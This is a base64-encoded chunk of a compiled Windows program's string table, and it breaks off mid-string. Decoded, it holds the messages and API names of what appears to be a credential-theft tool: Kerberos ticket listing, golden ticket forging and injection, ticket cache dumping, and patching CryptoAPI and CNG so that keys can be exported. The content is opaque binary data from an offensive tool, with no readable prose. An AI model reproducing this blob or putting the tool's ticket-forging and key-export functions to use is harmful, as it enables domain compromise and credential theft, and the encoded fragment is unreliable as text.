AAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFEAdQBlAHIAeQBUAGkAYwBrAGUAdABDAGEAYwBoAGUARQB4ADIATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUQB1AGUAcgB5AFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBFAHgAMgBNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAHQAawB0AAAAbgBvAGMAYQBjAGgAZQAAAHQAYQByAGcAZQB0AAAAAAByAGMANAAAAGQAZQBzAAAAYQBlAHMAMgA1ADYAAAAAAGEAZQBzADEAMgA4AAAAAABBAHMAawBpAG4AZwAgAGYAbwByADoAIAAlAHcAWgAKAAAAAAAAAAAAAAAAAAAAAAAgACAAIAAqACAAVABpAGMAawBlAHQAIABFAG4AYwByAHkAcAB0AGkAbwBuACAAVAB5AHAAZQAgACYAIABrAHYAbgBvACAAbgBvAHQAIAByAGUAcAByAGUAcwBlAG4AdABhAHQAaQB2AGUAIABhAHQAIABzAGMAcgBlAGUAbgAKAAAAAAAAAAAAAAAAAAAAAAAgACAAIAAqACAATgBvAEMAYQBjAGgAZQA6ACAAZQB4AHAAbwByAHQAZQBkACAAdABpAGMAawBlAHQAIABtAGEAeQAgAHYAYQByAHkAIAB3AGkAdABoACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAIABhAHQAIABzAGMAcgBlAGUAbgAKAAAACgAgACAAIAAqACAAVABLAFQAIAB0AG8AIABmAGkAbABlACAAIAAgACAAIAAgACAAOgAgACUAcwAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAgACAAIAAqACAASwBpAFIAQgBpACAAdABvACAAZgBpAGwAZQAgACAAIAAgACAAOgAgACUAcwAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUARQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGEAcwBrACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIAAnACUAdwBaACcAIABLAGUAcgBiAGUAcgBvAHMAIABuAGEAbQBlACAAbgBvAHQAIABmAG8AdQBuAGQAIQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGEAcwBrACAAOwAgAEEAdAAgAGwAZQBhAHMAdAAgAC8AdABhAHIAZwBlAHQAIABhAHIAZwB1AG0AZQBuAHQAIABpAHMAIAByAGUAcQB1AGkAcgBlAGQAIAAoAGUAZwA6ACAALwB0AGEAcgBnAGUAdAA6AGMAaQBmAHMALwBzAGUAcgB2AGUAcgAuAGwAYQBiAC4AbABvAGMAYQBsACkACgAAAAAAJQB1AC0AJQAwADgAeAAtACUAdwBaAEAAJQB3AFoALQAlAHcAWgAuACUAcwAAAAAAJQAwADgAeAAtACUAdwBaAEAAJQB3AFoALQAlAHcAWgAuACUAcwAAACUAMAA4AHgALQBuAG8AbgBhAG0AZQAuACUAcwAAAAAAdABpAGMAawBlAHQALgBrAGkAcgBiAGkAAAAAAAAAAAB0AGkAYwBrAGUAdAAAAAAAYQBkAG0AaQBuAAAAAAAAAHUAcwBlAHIAAAAAAAAAAABrAHIAYgB0AGcAdAAAAAAAcwBlAHIAdgBpAGMAZQAAAGkAZAAAAAAAcgBvAGQAYwAAAAAAAAAAAGcAcgBvAHUAcABzAAAAAABzAGkAZABzAAAAAAAwAAAAcwB0AGEAcgB0AG8AZgBmAHMAZQB0AAAANQAyADUANgAwADAAMAAAAGUAbgBkAGkAbgAAAAAAAAByAGUAbgBlAHcAbQBhAHgAAAAAAAAAAABVAHMAZQByACAAIAAgACAAIAAgADoAIAAlAHMACgBEAG8AbQBhAGkAbgAgACAAIAAgADoAIAAlAHMAIAAoACUAcwApAAoAUwBJAEQAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAVQBzAGUAcgAgAEkAZAAgACAAIAA6ACAAJQB1AAoAAAAAAAAARwByAG8AdQBwAHMAIABJAGQAIAA6ACAAKgAAAAAAAAAlAHUAIAAAAAoARQB4AHQAcgBhACAAUwBJAEQAcwA6ACAAAAAAAAAACgBTAGUAcgB2AGkAYwBlAEsAZQB5ADoAIAAAAAAAAAAgAC0AIAAlAHMACgAAAAAAUwBlAHIAdgBpAGMAZQAgACAAIAA6ACAAJQBzAAoAAABUAGEAcgBnAGUAdAAgACAAIAAgADoAIAAlAHMACgAAAEwAaQBmAGUAdABpAG0AZQAgACAAOgAgAAAAAAAAAAAAKgAqACAAUABhAHMAcwAgAFQAaABlACAAVABpAGMAawBlAHQAIAAqACoAAAAAAAAALQA+ACAAVABpAGMAawBlAHQAIAA6ACAAJQBzAAoACgAAAAAAAAAAAAAAAAAAAAAACgBHAG8AbABkAGUAbgAgAHQAaQBjAGsAZQB0ACAAZgBvAHIAIAAnACUAcwAgAEAAIAAlAHMAJwAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAcwB1AGIAbQBpAHQAdABlAGQAIABmAG8AcgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuAAoAAAAAAAAAAAAKAEYAaQBuAGEAbAAgAFQAaQBjAGsAZQB0ACAAUwBhAHYAZQBkACAAdABvACAAZgBpAGwAZQAgACEACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAAoAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAASwByAGIAQwByAGUAZAAgAGUAcgByAG8AcgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAASwByAGIAdABnAHQAIABrAGUAeQAgAHMAaQB6AGUAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAlAHUAIAAoACUAdQAgAGIAeQB0AGUAcwApACAAZgBvAHIAIAAlAHMACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGwAbwBjAGEAdABlACAAQwByAHkAcAB0AG8AUwB5AHMAdABlAG0AIABmAG8AcgAgAEUAVABZAFAARQAgACUAdQAgACgAZQByAHIAbwByACAAMAB4ACUAMAA4AHgAKQAgAC0AIABBAEUAUwAgAG8AbgBsAHkAIABhAHYAYQBpAGwAYQBiAGwAZQAgAG8AbgAgAE4AVAA2AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAawByAGIAdABnAHQAIABrAGUAeQAgAGEAcgBnAHUAbQBlAG4AdAAgACgALwByAGMANAAgAG8AcgAgAC8AYQBlAHMAMQAyADgAIABvAHIAIAAvAGEAZQBzADIANQA2ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABTAEkARAAgAHMAZQBlAG0AcwAgAGkAbgB2AGEAbABpAGQAIAAtACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABTAEkARAAgAGEAcgBnAHUAbQBlAG4AdAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABEAG8AbQBhAGkAbgAgAG4AYQBtAGUAIABkAG8AZQBzACAAbgBvAHQAIABsAG8AbwBrACAAbABpAGsAZQAgAGEAIABGAFEARABOAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAZABvAG0AYQBpAG4AIABhAHIAZwB1AG0AZQBuAHQACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAHUAcwBlAHIAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAgACoAIABQAEEAQwAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAAAAAAIAAqACAAUABBAEMAIABzAGkAZwBuAGUAZAAKAAAAAAAgACoAIABFAG4AYwBUAGk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AZQByAGUAZABQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAAAAAAAAAAAAcwB5AHMAdABlAG0AcwB0AG8AcgBlAAAAQQBzAGsAaQBuAGcAIABmAG8AcgAgAFMAeQBzAHQAZQBtACAAUwB0AG8AcgBlACAAJwAlAHMAJwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAdABvAHIAZQBzACAAOwAgAEMAZQByAHQARQBuAHUAbQBTAHkAcwB0AGUAbQBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAHMAaQBsAGUAbgB0AAAAAABuAG8AawBlAHkAAABNAHkAAAAAAAAAAABzAHQAbwByAGUAAAAAAAAAAAAAAAAAAAAgACoAIABTAHkAcwB0AGUAbQAgAFMAdABvAHIAZQAgACAAOgAgACcAJQBzACcAIAAoADAAeAAlADAAOAB4ACkACgAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAKAAAAAAAoAG4AdQBsAGwAKQAAAAAAAAAAAAAAAAAJAEsAZQB5ACAAQwBvAG4AdABhAGkAbgBlAHIAIAAgADoAIAAlAHMACgAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAlAHMACgAJAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAAgADoAIAAlAHMAIAAoACUAdQApAAoAAAAAAAAAAAAJAFQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAVQBzAGUAcgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAGsAZQB5AFMAcABlAGMAIAA9AD0AIABDAEUAUgBUAF8ATgBDAFIAWQBQAFQAXwBLAEUAWQBfAFMAUABFAEMAIAB3AGkAdABoAG8AdQB0ACAAQwBOAEcAIABIAGEAbgBkAGwAZQAgAD8ACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAcgB5AHAAdABBAGMA